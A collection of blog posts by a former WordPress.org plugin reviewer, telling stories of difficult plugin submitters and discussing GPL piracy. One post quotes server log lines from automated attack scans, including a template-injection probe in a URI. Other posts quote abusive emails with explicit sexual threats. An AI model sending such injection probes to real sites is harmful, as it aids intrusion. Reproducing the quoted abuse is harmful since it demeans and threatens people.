The other thing you don’t do is try to ‘fix’ the problem with good reviews from friends and family. That doesn’t teach you anything and makes you look like a scammer. You want reviews from those random people, as they will tell you what’s happening in the real world.
Finally?
**It’s totally okay to charge for add-ons/features to your plugins!** But remember, people don’t have to like that.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: WordPress Owns The World](https://halfelf.org/2024/plugins-wordpress-owns-the-world/)
**Published:** March 12, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Ah the logic of if one person from NYC kicks you in the shin, clearly all people from NYC are shin-kickers.
**Content:**
A self-proclaimed security expert came to Slack one day to complain about plugin security.
The summary of Kareen’s complaint (not her real name) was she firmly believes that WordPress and WordPress.org are responsible for preventing brute force attacks on users.
Now, I’ve said this a lot. Brute force attacks are best protected a layer **above** your website, with a firewall. Preferably the firewall is something the host does. But Kareen also claimed she had proof about issues with specific plugins, hence my involvement.
She came to Slack because she’d posted in the forums about security issues and was asked to please come to Slack and talk instead. That’s the norm. Like a great number of people, she took umbrage at that and ranted about the FBI and Dark Ops and *[Mitinick](https://en.wikipedia.org/wiki/Kevin_Mitnick)* (remember him!?) and … well. Yeah.
## Why NOT In Forums?
Why don’t we want people to talk about security in the forums?
The answer is simple: They’re **public**.
If you post about a security issue, in public, instead of privately contacting the people involved, you are **increasing the risk**. Hackers (or rather, kiddie scripters) scan the WordPress.org forums for evidence of security issues and use that to blast everyone and try to hack sites for lulz. And they will get on the hacks before the plugin (or whatever) devs can get a fix out.
So, to be **responsible and reasonable**, you privately contact the developers, give them some reasonable time to fix things, and everyone wins.
There are some notable shitheads who refuse to do that. As my buddy Jan says, “We’ll keep shooting the employees until moral improves.”
## The Right Place and Time
I redirected Kareen to where to report security issues for Core and Plugins. I foolishly assumed that would be enough.
Kareen emailed Plugins with a couple word docs, one of which was a complaint about the forum moderators (which was ignored) and the other was about how brute force attacks happened on websites, and people were hunting for plugins she didn’t even have on her site.
I call that ‘Tuesday.’
My sites are hit like that every day of the year. They look for plugins and themes I don’t use. It’s a carpet bomb in the hopes of finding someone vulnerable.
But still, I try to always give people the benefit of the doubt, so I read her other document in full and found her ‘proof’ of hacking.
```
123.456.78.90 - - [DAY/MON/YEAR:00:46:22 -0500] "GET /wp-content/plugins/easy-wp-smtp/ HTTP/1.1" 404 118611 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"
```
And how is that proof? She said it was because she **didn’t** have `easy-wp-smtp` installed.
The reality? That proves nothing. Script Kiddies regularly attempt attacks on your site without checking if you have a plugin (or theme) first, because it’s easier to just try the attack. If it works, they’re in! If it doesn’t, they move on. If they checked first, our myriad tools would spot them sooner, which they don’t want.
Now, some of those calls were interesting and were doing `GET /index.php?token=5db0b95680eb8fd776410fe5a37135a5` which made me curious. They were aiming for specific tokens, but there are thousands of plugins that use that param.
Oh and I liked this one too:
```
[DAY MON 01 17:29:07.773011 2020][client 123.456.78.90:65409] [client 123.456.78.90] Access denied with code 403 [hostname "www.[redacted].com"] [uri "/register/{{=+data.profileurl+}}"] [unique_id "X@Znsw5Azi2b-mCnSbIgDAAAAAc"], referer: https://www.[redacted].com/register/%7B%7B=+data.profileurl+%7D%7D
```
Again, we’re clearly seeing a blanket attack on plugins and themes the site didn’t have.
## The Calls Are Coming From Inside The House
I scrubbed the IPs in this post, but I did go and check the real ones. They were all Digital Ocean and Amazon Cloud stuff. Those services are **regularly** used by assholes who build scripts and use the services to hunt down sites with vulnerable code.
Sucks, but it’s normal.
Kareen didn’t like that but she also didn’t belabor the point and left us alone after we explained it wasn’t something *Plugins* could help with because she couldn’t give us the name of a single plugin except `easy-wp-smtp`, which had actually fixed a vulnerability a couple months prior.
Kareen went on to rage about how she was going to talk to the FBI (again) and made a couple legal claims. A number of people tried to calm her down, but in the end we told her that her account was suspended because we really *really* couldn’t help her, and she was screaming into the void.
There really is a limit before you have to cut people off. It’s a waste of time.
## And Then …
Later on, though, she filed a complaint:
> *My account was suspended without proper or professional communication,*
> *and while defaming me as “trashing a plugin,” AFTER the network of the*
> *same location as the hosted plugin was running brute force login*
> *attacks 24/7 on my network.*
Wanna guess that network? Digital Ocean.
Yeah. That’s like saying “Someone in NYC peed on my leg, therefore ALL PEOPLE FROM NYC ARE LEG PEE-ERS!”
What someone does on their own hosting is, in no way, WordPress.org’s fault. If the code to brute force was found in a plugin hosted on .org, then yeah, we can do something, but it won’t stop the attacks.
Needless to say, we didn’t reply. There was no point.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: Stealing The Butt (vulgar)](https://halfelf.org/2024/plugins-stealing-the-butt-vulgar/)
**Published:** April 9, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There's a right and a wrong way to fork code, and a right and a wrong way to handle it when you're called out about a fork.
**Content:**
**Note: This post contains foul and abusive language.**
Alex (fake name) is a weird one.
Alex submitted a plugin and their email was sending auto-replies, so we flagged them for that. Their plugin was also missing a readme and they failed to escape code. Three annoying but small issues.
That was March.
No reply came, so they got auto-rejected in June.
## We Made Changes
A couple more months pass and Alex has ‘made changes’ and replied:
> We made some changes to the code but our plugin is identical to a competitor that is approved in your community which doesn’t make much sense to these changes since the other one was approved.
Now, I will admit, I missed the ‘identical’ the first time but for what it’s worth, that is incorrect.
The competitor escapes the line in question.
But more to the point, Alex had a hell of a time replying to emails. We’d send, it’d auto-reply, we’d ask them to fix it. On and on. Finally they got their head out of their ass and explained it was Brazilian *law* to have that autoreply … for customers.
Ah! Well we (Plugins) ain’t the customer, this is a DEV relationship, please change the email and off we go.
Except … they then tell us they copied the code and rebranded it and **they** said we probably can’t host the code.
## Can You Steal Open Source?
People **hate** that I call it theft.
Suck it up, butter cups.
If you take someone else’s code, put your name on it and make **no other** technical changes, and present it as your own **original work**, you stole it.
I will die on that hill.
Now if you take their code, alter it, add **new** features, improve it, re-design it to use modern PHP practices, convert it to React, etc? Hey! You forked it! Congratulations! Slap a copyright addition to it, crediting the originals, and we’ll host your code!
But no, it’s easier to take someone’s work and claim it’s your own, and when you do that, I hate you. You stole their work. You lied about it being your original work.
## Fix It and Improve It
Anyway, Plugins agrees “You’re right, we cannot host copied code” but we **did not** reject the plugin since there are ways around that (see above). We also pointed out they had to fix the security issue.
> ok thanks, I don’t intend to put my plugin available for download in this shit library.
>
> \[…\]
>
> fuck man, you need to learn a lot to get along with people and even learn to read. That’s not to mention talking, which is something you don’t really do.
Okay, let’s try to explain– Wait, another email?
> I didn’t steal anyone’s code, I’m not a thief, if you consider yourself your personal problem. Learn to read and talk to people, you don’t know if you want to talk.
>
> I repeat, you are a disgrace to the wordpress community.
Okay well lets– What? AGAIN!? In less than 60 seconds!?!
> About their code, you idiot I downloaded it now and took this screenshot to send to you. Dumb, don’t bother if you want to download the plugin itself before saying false things and accusing people of what they don’t know.
>
> Fuck you man you are very dumb and again we are ashamed to have you representing the community.
There was no screenshot. But if there was, it would have pointed to the original, which was escaped. Badly, but it was escaped (they used `esc_attr` instead of `esc_url`, which was a different matter).
But at that point, three emails in under 2 minutes, he’s lost his blob. So the reply was “We wish you the best of luck, but we will not host your code.” and then into the auto-bin, but not before he got in one more:
> Fuck your ass, I’m not asking you to host my codes. You idiot, human garbage. Learn to talk to people you fucking nerd
You first.
## How to Fork Like an Adult
If you see a WordPress plugin you like that’s been abandoned (or just went in a stupid direction you hate), I strongly urge you to fork it. And the steps are really simple.
1. Copy the version of the plugin you like
2. Rename it and *add* your name as an author (add!)
3. Make technical changes to the code – this can be a whole refactor to Namespaces and React, or adding in a feature that you cannot do in another way (caveat: If you can make an add-on plugin that does the feature, you’re better off doing that)
4. Build a check so that your new version and the original being active at the same time won’t crash a site
5. Update the readme to explain you have *forked* it from the original and list all the changes
6. Update the **copyright** and add yourself on to it
That’s really it. People often miss step 4, but they only really fight about steps 3 and 5.
The other thing, if you’re called out on making a copy of a plugin, just fess up. There’s nearly always a way through that, but it has to start with you being honest.
And yeah, I know how much someone hates hearing that their 100% copy of someone else’s work is theft, but I have never found another way that sufficiently slammed the idea into their heads about how much **damage** they’re causing and how much they’re hurting someone else.
Taking someone’s work without credit hurts them. It devalues their work and elevates yours unfairly. It also takes away their recognition which will only hurt them if they later use their work to try and get a job.
This is one of the huge risks with AI, since it wasn’t built to credit (I would find it so cool if it did).
So please, be honest when you copy code.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: Not Your Circus, Not Your Gold Mine](https://halfelf.org/2024/plugins-not-circus-not-mine/)
**Published:** February 28, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Let it go! Let it go! Someone else's fuck ups with a plugin are not your responsibility!
**Content:**
My friend Andrea M. once told me “Not my circus, not my monkeys” about a problem that was outside her purview, and I liked it so much, I kept using it. I’m sure someone else came up with it, but that’s where I learned it.
Perry (not his real name) had a big problem understanding when something wasn’t his business, as well as when to accept the L.
## Authors and Managers and Committers
Perry had an interesting history. He started out by emailing Plugins to complain about the language used on WordPress.org plugin pages. Specifically, he didn’t like that the pages say “Plugin **Author**” and thought it should be “Plugin **Manager**” and his reason?
> *Being authorized to commit code and release versions does not make a committer an author.*
Now, the plugin team didn’t agree. As Otto would say “If you’re not capable of writing the code, then you should not have access to change it for the users.”
Perry …
> \[…\]
>
> Moreover, the authorship claim that you are forcing on your benefactors kills inspiration. You are not allowed to impose your own rules on people committed to make WordPress usable. We’re not your slaves, not your servants, not your employees. We’re forced to contribute because WordPress is the only game in town, and most people are likely to not want to publish otherwise.
>
> I’m asking you nothing but to be consistent: \[…\]
>
> In response you sent me lies. And added insult over injury.
>
> \[…\]
There was a bit of a laugh held over ‘slaves’ and Plugins sent back that (a) we’re not going to change it and (b) if you really want to die on that mountain, here’s a link to META TRAC where you can open a ticket.
Perry sent back links to academic discourse about authorship and concluded:
> *After reading these articles, you’ll be able to understand that a maintenance programmer is not an author.*
As it happens, performing maintenance programming on code, where authorship is conferred by … wait for it … **writing** code means the person is, in fact, an author. This was something mentioned in those links.
All plugins said was basically “Thanks but no, here’s Meta trac, knock yourself out.” Perry replied with some legal brouhaha, and pity was taken asking “Dude, do you want to file a **legal** complaint or a request to edit?” He apparently missed the links to meta in the previous two emails, but then said Meta was broken. Turned out his browser was so out of date, it was banned by WordPress.org to prevent bots.
But that seemed to mollify him.
## On to the Circus!
Two years later…
Oh wait, no, there were a couple more weird moments. In one, he was upset someone used his real name on the forums. That was totally fair and we did clean it up for him, but pointed out that you have to give the **forum moderators** time. We’re all volunteers, after all.
Finally we get to the story. It began with him asking us to merge accounts. In general, that gets you a finger waggle and a talking to about why multiple accounts are stupid with you’re one person, but this one went off the deep end real fast.
He realized that having two accounts that shared code **might** make him run afoul of taking code without credit (i.e. copyright violations). I was happy for that level of self-awareness and honesty! And he was right! That is a part of why two accounts is stupid. But … Perry went on to explain that he used to be a part of a plugin (fake name “Gold Mining”, I’m watching *Gold Rush* right now) and left that project due to ‘ethical reasons.’
Sure, I get that. I’ve done the same. I rage quit *using* a plugin when I learned the creator was angry WordPress had an ‘all female’ release (nb: That should have been an under-represented persons release, and they corrected the name in the second one, but that first one had a bad name).
Perry’s email was **mammoth** and included layers and layers of quotes.
Here’s what you need to know:
1. Perry happened to be a support rep (not a developer) on “Gold Mining.”
2. He emailed the people who actually owned the code to complain about how they ran things, and said he was going to work on other projects neener neener.
3. The owner of the “Gold Mining” plugin accepted the resignation with a no-take-backies addition of “And if you aren’t quitting, you’re fired.”
4. Perry accepted this, with a bit of vitriol .
5. Perry emailed **plugins** to explain he was both AlsoPerry AND Perry, and his plugin was a legit fork and had code he write, he wasn’t stealing, but he was still helping out in the “Gold Mining” forum.
6. Obviously his fork was closed because of confusion of above.
If you’re wondering about the surprise of “his plugin was closed,” so was I. I looked into it and a reply was sent:
1. Plugins literally does not give a shit about that interpersonal drama that happens in a group outside to WordPress.org (we do care if it’s people following others home to harass, but this was clearly not the case).
2. Plugins has now documented he was both people, though, for his and our protection.
3. If he really was fired/quit/left the “Gold Mining” project, *walk the fuck away from their forums*.
4. His plugin was closed because he broke his email on his alt account and it bounced, which he actually knew!
He replied with “Oh, I thought I was banned because of (all the reasons above) and not what you said.” And it went on for a long time … Okay? Who gives a shit. He could just say “That explains it, I’ll fix my email.” But no, no, it’s gotta be Dickensian.
1200+ words.
Plugins closed that rant email without reply. But you’re getting the idea here right? Every. Single. Email is this long.
Important note: See how plugins said to *stop* helping the plugin? Yeah, remember that. It’s important later.
Oh and he never fixed his email so his plugin remained closed.
## Stop Poking the Bear
Another 18 months or so have passed. I’d forgotten about this whole mess because, after all, I was processing hundreds of tickets a day, and anything that wasn’t active within a week fell out of my head. But also I kind of assumed he’d properly realized “I owe Gold Mining nothing!” and moved on.
Oh. I can delude myself sometimes. Otto calls me an optimist.
Perry emails and asks if we can transfer his version of the plugin from AlsoPerry to Perry and reopen. And I started to think “Sure, why not” and read the rest of his long email, which explained he was **still** helping out in the original “Gold Mining” forum and answering PRs on *their* GitHub!
> *I wish I’d never taken psychedelics, I’d never drunk coffee and cocoa, I’d made no mistakes, and I’d always got at least one verse of the Bible each day.*
I would be very sad if I never had cocoa or coffee again, but to each their own.
Plugins Team checked out the plugin, saw it was a 100% copy (not a fork) and explained that no, Perry, you cannot have it back unless you make it a real fork. Perry explained **he didn’t have the technical chops to do that** but we should let him have his own version anyway.
The answer was no.
So then he asked if he could have the *original* “Gold Mining” plugin, which the original authors (who were not him!) had closed on their own a few months before. Oh and he felt like a failure because it was closed.
Our reply?
1. No, you cannot have someone else’s plugin without *their* permission. Sometimes we’ll hand it over, but in this case it was patently clear the original owners didn’t want Perry to have it.
2. The plugin was closed by the owner, we always respect that.
3. “Gold Mining” was not Perry’s plugin. It never was. He never committed code, he never wrote a single fucking line. It was. Not. His.
4. There was nothing Perry had done that was a ‘fail’ (except continuing to help in a place he knew he wasn’t wanted, and that was really only a ‘fail’ because he was hurting himself).
Three days of emails followed.
There was a weird claim that the original owners were asking Perry to support, and we asked if that was really the case. If so, we would go hit them with a fish on Perry’s behalf, because that’s abusive. But it transpired that no, no one had *asked* Perry to do anything at all, he just felt obligated.
See I was stressing that we wanted to **protect** Perry. Right now, though, we had to protect him from himself, and he really kept hitting himself. The Catholic Guilt on this guy was *massive* and I couldn’t figure out how to get him to understand that the plugin was not his, and he needed to walk away for his own sanity.
Perry replied with a Catholic Guilt ridden EPIC length email with quotes from emails years past which boils down to:
- The Original Owner was doing this from revenge (‘this’ being leaving Perry’s access as a support rep – I removed him to settle that matter).
- People still used the plugin (… yes? That happens).
- Perry was obligated to help those people (FFS NO, how many times do we have to tell him this?).
- Perry didn’t even *know* he was still a support rep until we told him in December when we had removed him.
- Plugin closures can be reversed (yes, but not by someone who quit/was fired, buddy).
- “So everything I do for \[Gold Mining\] now is both a sacrifice and a punishment.” (… God is in the tub).
Plugins repeated “Walk. The fuck. Away.”
## It’s Monkeys All The Way Down
A lot more emails followed.
Like a lot, a lot.
Perry kept arguing he had commit access and, in fact, I found out he did have access … five years ago. His access had been removed at least three years ago (we didn’t track plugin access being removed at the time).
He also argued his removal was a mistake. Since **all the devs** were removed a day before the plugin was closed (by the owner, remember), we told him no, it was not. Clearly the owner knew what he was doing.
Perry sent a lot more bible quotes.
Finally he got an ultimatum.
1. Perry was **not** permitted to host any plugin even remotely related to “Gold Mining”
2. Perry was **not** permitted to post in the original “Gold Mining” plugin forums
If he attempted either of the two, he would be banned.
And that, my friends, is when it ended. He didn’t reply to that ultimatum, but at least he stopped emailing us daily.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Plugins: Offsite Help (vulgar)](https://halfelf.org/2024/plugins-offsite-help-vulgar/)
**Published:** February 14, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Not linking to off-site help shouldn't end with sexual threats, but some people...
**Content:**
**Warning: This post includes vulgarities and sexual threats to my family. They’re all talk and nothing more, but it’s gross.**
There’s a forum guideline that a lot of people don’t like. At its heart, it’s simple: if you’re going to use the forums, use the forums and help people in the forums, don’t send them off to your private site.
The reason being, people will likely find their question in Google Search and come to WordPress.org. Logically their answer should be there. It’s not an uncommon guideline, and in fact I’m pretty sure StackExchange also has that. Keeping the answer local ensures the data remains available and people don’t get all [DenverCoder9](https://xkcd.com/979/) on the world.
Our buddy, Henry (you know the drill, not his real name), ran afoul of this around the same time he submitted his first plugin. Henry was replying to people with directions to ask via his LinkedIn account. The forum mods warned him, a couple times, and then flagged his account. A flagged account can still submit a plugin, and I noticed the flag when he submitted.
Naturally I went to see what was going on.
## Unclear on the Concept
Henry admitted to using LinkedIn as a way to solicit for work on .org, with the ultimate goal of getting support for his plugin (yeah) via that. Why? Because he needed a way for his users for his newly submitted plugin to get in touch with him. And as it unfurled, he had **no clue** WordPress gave you free forums for your plugins.
Now, that we can also move past. People can’t know what they don’t know. But before the Password Reset team gave him the all clear, they wanted to be sure he understood what was wrong, and they asked “Hey, do you get WHY telling people to go to your linked in for help is bad?”
The Reset Team knew that you have to ask people that, otherwise you get replies like Henry’s which was “I know what you’re saying and I agree with you.” The thing is, that is not a real confirmation so they asked it a little differently.
> *Can you please tell us “Yes I understand that X is not allowed here.” changing X for what actually is the heart of the issue?*
While that certainly is annoying to get in an email, it also gives Henry the chance to say “I understand linking to LinkedIn isn’t allowed here” and they could then elaborate “Can you confirm you understand that linking to **any** off-site location for support isn’t permitted?” Then you have their word and can use it against them when they screw up again.
## Again With My Mom…
Instead of that, or some kind of annoyed “Bitch I understand!” reply, Henry showed his own ass.
> Can you please send me your contact that I can personally talk to you?
>
> Then I will let you know better. If you have guts then please do it.
>
> And listen if you want to enable my account then do it otherwise keep it in your asshole.
>
> And I am here with your mom in my bed. So I am very busy with her. If you want to help then my child you can.
I saw that, blinked, rejected the plugin and banned his account with a ‘blah blah your behavior ain’t welcome.’
Then he followed up:
> Even your father can’t stop me son of a bitch. Just try your best and I will fuck your asshole my entire life my dick. Just ask your mom how much see enjoy it. Your whole family will enjoy it.
>
> I will fuck your plugin team as well. Just suck my dick motherfucker. You and your team is a loser. Motherfucker.
>
> Asshole your mom’s pussy is very juicy and she loves my cum into ger mouth. Call her and ask that who am I. She is definitely tell you my illegal son.
>
> And you my boy can’t stop me. I will fuck your ass daily now.
And finally this gem:
> *Come my little boy take your daddy’s dick into your mouth. Suck it nicely and take it to your throat.*
So you can see why the ban stands.
## Annoying But Necessary
I want to stress, I **absolutely** understand how annoying it is to be asked “Do you *really* get it?” but any time you’re asked that? You 100% need to step back and think.
Why is someone asking you in that way?
Why are they pushing you about something?
The answer is because **you are behaving in a way that makes them doubt you do, in fact, understand the issue**. And when that happens, you should reply with what you actually understand.
“Sorry, yes, I understand that linking to an off-.org site for support isn’t permitted, and I get a forum of my own for my plugin, for free.”
If Henry had replied with that? All would be well. But he instead took the repeat ask as an offense instead of a request for clearer information. When you’re not clear to the people asking you something, they 100% will ask again in different ways, to try and make sure.
Why do we do that?
So you don’t make the same mistake.
Henry, though, well, you can’t help that.
**Categories:** How it Was
**Tags:** plugins, stories, wordpress
---
### [Piracy and the GPL](https://halfelf.org/2024/piracy-and-the-gpl/)
**Published:** February 21, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A nuanced question about piracy forces me to talk about the ethical considerations and intent of theft. Piracy, though complicated, should not stray into harmful or exploitative territory.
**Content:**
Sé and I go back a while, so when she asked me if I’d like to come on [WPwatercooler](https://wpwatercooler.com) and talk about Piracy and the GPL, I said sure! [I’m including the video at the end](#video) so you can see the whole conversation but … What got me interested was that she *didn’t* ask me about what I thought she would!
## The Hill I Die On Is Theft
I always get people pissed off when I say this, but you absolutely 100%, without question, can **steal** GPL code **if you mess with copyright law**.
I even went and asked ChatGPT for some fun:
> It would be considered unethical and potentially illegal to take GPL-licensed code and release it as your own work. The GPL requires you to respect copyright laws and the rights of the original authors. By claiming GPL-licensed code as your own without proper attribution or acknowledgment of the original authors, you would be violating both the terms of the GPL and copyright law.
>
> The GPL allows you to use, modify, and distribute the code, but it also requires that you maintain the integrity of the original license and give appropriate credit to the original authors. Failure to do so could lead to legal consequences, including potential copyright infringement claims. It’s essential to adhere to the principles of open source licensing and respect the contributions of others in the software development community.
I expected the chat to be about that. It wasn’t. It was about the lovely grey area I spent a decade and a half in.
## Piracy is/n’t Theft
The crux of Sé’s question was this: Is it piracy to get a copy of a premium plugin (one you have to buy to get) from someone else.
The initial answer is ‘yes’ but then Sé laid out some amazing nuance.
1. She’d already bought the code before
2. She couldn’t buy the upgrade because the devs are in Russia (and sanctions)
3. There *was* a workaround to pay an intermediary, but she felt it was sketchy
4. She intended to migrate off the plugin, but needed the latest version to do so
5. Someone she knew offered to give her a copy of the latest version
Now, I worked for a bank before WP, and I can tell you that her workaround is what you do when you launder money. And if you did use that workaround, you run the risk of ending up on the FBIs sniff-list and they do not have any sense of humor about ignorance of the law.
So now, would I still call it piracy? Actually … yes. I would. But it’s small scale and not actually a huge issue and really depends on the intent of the person who gave it to her, and what Sé did with it in the end.
## The Scale of Piracy
There’s a constant battle going on between consumers and corporations. I’ll use an example close to my heart. The TV show *Willow* was a fun fantasy romp with silly flashbacks and messy magic. It wasn’t perfect, it wasn’t the greatest thing ever, but it was fun. Shortly after it got mid-to-low reviews, it was removed from streaming.
There is **no way** to watch the TV series, except for piracy.
Is it piracy if I had managed to download the videos beforehand and kept them for my own entertainment? Yes. Yes it would be. The same as how all of our mix tapes were *technically* piracy. [Mixtape artists have been arrested under RICO charges for that](https://www.npr.org/2007/06/15/11114754/the-history-and-legality-of-mix-tapes)!
But the reality is that no one was going to waste time and kick in your door for making a mixtape and giving it to your sweetheart. They didn’t really care that much about it (and in some cases, like The Grateful Dead, encouraged it). It was incredibly hard to make money off mix tapes. I made copies of a CD I had bought in high school for friends, never sold ’em.
Then came the internet and suddenly I could copy that CD into files and send them across the world! And you know what? People did. Suddenly the scale of what could be done with a pirated copy of a CD had skyrocketed.
## Obscure Monetization
I pause here to quote from Cory Doctorow’s interview back in 2010, when he was asked **why** does he give all his books away for free?
> I give away all of my books. \[The publisher\] Tim O’Reilly once said that the problem for artists isn’t piracy – it’s obscurity. I think that’s true. A lot of people have commented: “You can’t eat page views, so how does being well-known help you earn a living as a writer?” It’s true; however, it’s very hard to monetise fame, but impossible to monetise obscurity. It doesn’t really matter how great your work is; if no one’s ever heard of it, you’ll never make any money from it. That’s not to say that if everyone’s heard of it, you’ll make a fortune, but it is a necessary precursor that your work be well-known to earn you a living. As far as I can tell, these themes apply very widely, across all media.
>
> As a practical matter, we live in the 21st century and anything anybody wants to copy they will be able to copy. If you are building a business model that says that people can only copy things with your permission, your business is going to fail because whether or not you like it, people will be able to copy your product without your permission. The question is: what are you going to do about that? Are you going call them thieves or are you going to find a way to make money from them?
>
> The only people who really think that it’s plausible to reduce copying in the future seem to be the analogue economy, the people who built their business on the idea that copying only happens occasionally and usually involves a giant machine and some lawyers. People who are actually doing digital things have the intuitive knowledge that there’s no way you’re going to stop people from copying and they’ve made peace with it.
>
> [Cory Doctorow: Publish books free online](https://www.theguardian.com/technology/2010/may/23/cory-doctorow-my-bright-idea)
## There’s Piracy and There’s Piracy
On the podcast, I mentioned a book I’d bought for school that was over $100 (this was in the mid 1990s) and, having bought it, I worked with a friend in the print shop to make copies for classmates and sold them at enough for me to break even. I think it was $5 a pop, and I would accept lunch instead.
Piracy? Oh you betcha.
Illegal? Again, yeppers!
Immoral? ….
Oooh now I brought up a dirty word.
But it ties in to that intent I mentioned when I was describing Sé’s situation.
If Sé or I took the copies of the book/plugin and sold them **with the intent of making a profit**, then yeah, we’re immoral shitbags. But that isn’t the case. I was trying to not go broke because of that stupid college textbook scam that’s only worse with DRM. Sé wanted to properly move off a plugin that she cannot use anymore.
It’s all about that intent. As I said on the podcast, if you see someone sleeping in their car and it’s illegal where you live? No, you did not see anyone sleeping in their car. Did you see someone shoplifting diapers? No you did not. And if I have to explain why you didn’t see those things, you may be following the wrong blog.
## Those GPL Avenger/Nulled Shops
I have to loop back to the GPL.
Officially, technically, 100% the GPL says that the code you write and release under the GPL is free for anyone to do whatever they want. And if you make changes, you have to release it under the same license.
Now, if you’ve spent any time in the WP world, you’ve run into sites that offer the same expensive plugins as you’ve seen for sale, but cheaper and ‘nulled’ (which means they no longer phone home to momma for your license). And technically under the GPL, that’s allowed. But I argue this:
1. The intent here is to circumvent legitimate, *available* purchasing
2. There is no assurance the code has not been tampered with
3. It’s a dick move
Can plugins been overly expensive? Yes, absolutely. I saw one for over $500 and it was *not* worth it. But you’re not paying for the plugin itself, you’re paying for security, support, and maintenance.
(Off Topic: I mentioned how cool it is when someone releases free back ported security fixes for premium plugins – I wish it was easier to do and everyone could do it, but it’s really freakin’ hard! Still, the easiest way would be “find all people with expired licenses and email them the latest release of the last branch they paid for, free of charge”. Easier said than done.)
The other problem is that by giving away the plugin, you may have broken the **purchasing** agreement. You know the one? Don’t rip off the tags on this mattress? Well first of all, the GPL [actually supports people selling code](https://www.gnu.org/philosophy/selling.html) (they’re not stupid, people gotta earn a living), and they’re of the Doctorow approach — watch your price point, convert the free users to paying one with value.
The value most plugin shops offer is support and updates. They’ll patch your plugin until they go out of business. And they’re clear about how you’re not paying for software, you’re paying to have it sent to you:
> You *can* charge people a fee to [get a copy *from you*](https://www.gnu.org/licenses/gpl-faq.html#DoesTheGPLAllowMoney). You can’t require people to pay you when they get a copy *from someone else*.
>
> [Frequently Asked Questions about the GNU Licenses](https://www.gnu.org/licenses/gpl-faq.html)
So what do I mean by a purchasing agreement? Well it’s your license agreement. I pay for YoastSEO, and from them I get a license. If I break the terms of that agreement, they have the right to sever my license and no more updates for me.
Those nulled/GPL Avenger sites are regularly playing with fire, and most have to make purchases with disposable credit cards and shuffle things around in order to not get caught. Once they’re caught, they’re banned and blocked and someone figures out how to catch them ahead of time next time and prevent sales in the first place.
## Piracy is Nuanced
The reality of all this is piracy is an incredibly nuanced situation.
Pirate Radio Stations use airwaves they didn’t pay for and play music they have no license to. But at the same time, they might be the first way you hear a certain song that inspires you to go out and buy the album.
Sharing Cory Doctorow’s books for free takes money from him, but how is that different than using the library or loaning your favorite book to a friend? The goal isn’t to make money, it’s to share joy.
Asking a good friend for a copy of a premium plugin so you can test it out is, in my eyes, much the same. Asking for a copy so you can update and move off it is also fine.
When you start working at scale to actively block people from making a living (like if I took all of Doctorow’s books, printed, and resold them) then you’ve crossed my line about what is ethical piracy and what is just being a jerk.
Don’t be a jerk.
And remember, they’re more like guidelines.
## WPwatercooler
Watch me on the world’s most influential WordPress Podcast, talking about piracy, GPL, copying books, and money laundering.
**Categories:** How It Is, Video
**Tags:** GPL, open source, piracy, wordpress, wpwatercooler
---
### [Plugins: Scams, Fans, and Plans](https://halfelf.org/2024/plugins-scams-fans-and-plans/)
**Published:** January 17, 2024
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If you have to ask what the difference is between an MLM and a real business, you probably got suckered by one.
**Content:**
This is another oldy.
Back in 2012, I ran into a submission that I positively **dare** you to tell me what it does:
> This plugin can be used to turn any WordPress powered site into an automated forced matrix recruiting system for any business opportunity. Even if opportunity is not set up as a matrix, such as a unilevel program you can use this system to create a downline that is structured like a matrix for it.
I was lost.
The key words for you:
- matrix
- recruiting
- unilevel
- downline
I think some people just went “Oh, shit.”
## Give Up?
This person submitted an MLM recruiting plugin! Their website (which is long gone) got even better, and actually had MLM in the URL. And it was from the website that I confirmed this is an MLM plugin, but not *just* that…
> \[PluginName\] is the only WordPress plugin which will allow you to build an expanding forced matrix recruiting system to build any network marketing or MLM downline, with no web design or programming knowledge required.
Hey look! It outright says MLM!
Now, my personal feelings about MLM being scams aside, there are a couple ways you *could* make a legit MLM-ish plugin for WordPress.
It’s not a secret I think MLMs are vile and prey on the people who are least equipped to spot them. They promise you money, but it’s all a pyramid scheme and the only way to get money is to trick more people just like you. It’s inhumane.
But the heart of the issue with this plugin was, as it turned out, collecting data from visitors to pull into the list of suckers people to contact. And no, not in any ethical, moral, or even legal way at all.
None of it was opt-in.
GDPR folks would have a heart attack if they saw that code.
The plugin was rejected and told we don’t want to host MLM schemes that *track users without consent* (hold on to that part please). It also tracked everything it could from the site admins. Meaning, if you installed it, all your data are belong to them.
Again, GDPR and privacy folks are screaming. I was screaming.
The author replied:
> I beg to differ, this is not MLM, this is a recruiting system which can be used for MLM or really any other business someone wants to promote just like programs which promote affiliate sales.
It’s not an MLM, it’s just something that can be used for MLM and is intended to be used to make an MLM.
Oh did I mention the demo site says “Are You Ready To Finally Make It In MLM?”
And besides, they totally missed the point of **collecting data without consent** being an issue.
## MLM = Adult Content?
No one replied to his reply as it got a little weird and hateful real fast.
Later on the creator posted on their own site that clearly Matt Mullenweg hated things. Also, and this made me interested, he said this with regards to being called an MLM:
> I was floored, and then when I thought about it more I became appalled that my plugin was basically being categorized in the same league as an Adult or Offensive plugin by WordPress.org as there is only one reason in their guidelines (number nine) that they could use to ban this plugin…
>
> MLM’s Website
Some points here:
1. We actually allow adult plugins as long as the content posted in the directory isn’t pornographic itself (read – we allow plugins that let you embed from pornhub)
2. Anyone who thinks an MLM isn’t offensive probably is in one
3. We told them it was the **collecting data sans consent**
Now this was a while ago, so what *was* #9 back then?
> The plugin must not do anything illegal, or be morally offensive. That’s subjective, we know. Still, if we don’t like it for any reason, it’s gone. This includes spam, for whatever definition of spam we want to use.
>
> Guidline #9 circa 2012
Yeah, now I remember why I worked hard to update those. But still, tracking users without their consent is always going to be an issue, and this scam is part of why we pushed to add that sort of thing to the guidelines.
## We Didn’t Say That
Again I (personally) feel MLMs are morally offensive — [and scams](https://mashable.com/article/multi-level-marketing-mlm-scam-avoid).
